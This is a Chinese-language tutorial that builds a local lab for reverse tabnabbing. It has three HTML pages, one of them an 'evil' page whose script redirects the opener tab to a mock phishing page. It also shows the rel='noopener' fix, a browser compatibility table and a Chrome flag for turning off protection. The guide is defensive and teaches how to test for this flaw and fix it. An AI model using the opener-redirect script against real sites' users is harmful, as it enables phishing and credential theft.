请输入

测试反向Tab劫持

作者: z下载

测试准备

1. 环境要求

  • 本地 Web 服务器:用于托管两个测试页面(原页面和恶意页面)。

  • 现代浏览器:推荐 Chrome 或 Firefox(测试前需关闭自动安全防护)。

2. 工具选择

  • Python 简易服务器(快速启动):

    # 安装 Python(若未安装)
    # 在项目目录下运行:
    python3 -m http.server 8000
     
     
  • 或使用其他工具:如 http-server(Node.js)等。


步骤 1:创建测试页面

1. 原页面(legitimate-site.html

<!DOCTYPE html>
<html>
<head>
    <title>原页面(可信网站)</title>
</head>
<body>
    <h1>欢迎访问合法网站!</h1>
    <!-- 不安全的链接:未添加 rel="noopener" -->
    <a href="http://localhost:8000/evil-site.html" target="_blank">点击这里查看消息</a>
</body>
</html>

2. 恶意页面(evil-site.html

<!DOCTYPE html>
<html>
<head>
    <title>恶意页面</title>
    <script>
        window.onload = function() {
            if (window.opener) {
                // 尝试将原页面重定向到钓鱼网站
                window.opener.location = "http://localhost:8000/phishing-site.html";
            }
        };
    </script>
</head>
<body>
    <h1>这里是正常内容...</h1>
    <p>(实际暗中操控原页面)</p>
</body>
</html>

3. 钓鱼页面(phishing-site.html,模拟攻击目标)

 
<!DOCTYPE html>
<html>
<head>
    <title>钓鱼网站</title>
</head>
<body>
    <h1>⚠️ 警告:这是伪造的登录页面!</h1>
    <p>(模拟诱导用户输入密码的界面)</p>
</body>
</html>

步骤 2:启动本地服务器

  1. 将以上三个文件(legitimate-site.htmlevil-site.htmlphishing-site.html)放在同一目录。

  2. 启动本地服务器:

    # 使用 Python
    python3 -m http.server 8000
  3. 访问原页面:

     
    复制
    http://localhost:8000/legitimate-site.html

步骤 3:模拟攻击测试

  1. 点击不安全链接
    在原页面中点击“点击这里查看消息”,浏览器会在新标签页打开恶意页面。

  2. 观察原页面变化

    • 攻击成功:原页面(legitimate-site.html)会自动跳转到 phishing-site.html,显示伪造的登录界面。

    • 攻击失败:原页面保持原样,说明浏览器已默认阻止 window.opener 操作(如 Chrome ≥88)。


步骤 4:验证防御措施

修改原页面的链接,添加 rel="noopener"

<a href="http://localhost:8000/evil-site.html" target="_blank" rel="noopener">安全链接(已修复)</a>

重复测试步骤,原页面将不再跳转,证明防御生效。


浏览器兼容性测试

浏览器 是否默认阻止 window.opener 测试结果(未修复时)
Chrome ≥88 攻击失败
Firefox ≥79 攻击失败
Safari 攻击成功
旧版浏览器(如 IE) 攻击成功

高级测试(跨域场景)

  1. 模拟不同域名
    修改 evil-site.html 的链接为外部域名(需部署到真实服务器):

     
    <a href="https://your-malicious-site.com/evil-page" target="_blank">外部攻击链接</a>
  2. 检查跨域限制

    • 即使跨域,window.opener.location 仍可修改原页面(同源策略不阻止此操作)。


注意事项

  1. 合法测试

    • 仅在本地或授权环境中测试,勿对真实网站进行未经许可的安全测试

  2. 浏览器设置

    • 若使用现代浏览器(如 Chrome 88+),需手动关闭默认防护:

      // 启动 Chrome 时添加参数(仅限测试)
      chrome.exe --disable-features=CrossOriginOpenerPolicy
       

总结

通过上述测试,你可以直观看到反向 Tab 劫持的攻击效果和防御方法。关键结论:

  • 漏洞存在条件:未使用 rel="noopener" 的 target="_blank" 链接。

  • 修复方法:添加 rel="noopener" 或 rel="noreferrer"

  • 浏览器兼容性:现代浏览器已部分防御,但旧版仍需手动修复。

 
 
 
 
 
 
上一个
123
下一个
测试表单
最近修改: 2025-05-26Powered by